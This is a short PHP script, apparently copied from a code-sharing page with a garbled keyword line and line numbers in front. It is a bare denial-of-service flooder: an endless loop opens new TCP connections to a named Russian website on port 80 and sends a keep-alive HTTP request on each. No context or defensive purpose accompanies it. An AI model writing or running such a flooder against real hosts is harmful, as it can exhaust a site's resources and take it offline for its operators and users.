usr bin env php php host upyachka ru hdr GET HTTP hdr Connection Keep-

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
#!/usr/bin/env php
<?php
$host = "upyachka.ru";
$hdr = "GET / HTTP/1.1\r\n";
$hdr .= "Connection: Keep-Alive\r\n";
$hdr .= "Host: $host\r\n";
$hdr .= "\r\n";
while(true)
{
$f = fsockopen("tcp://$host", 80);
fwrite($f, $hdr);
}
?>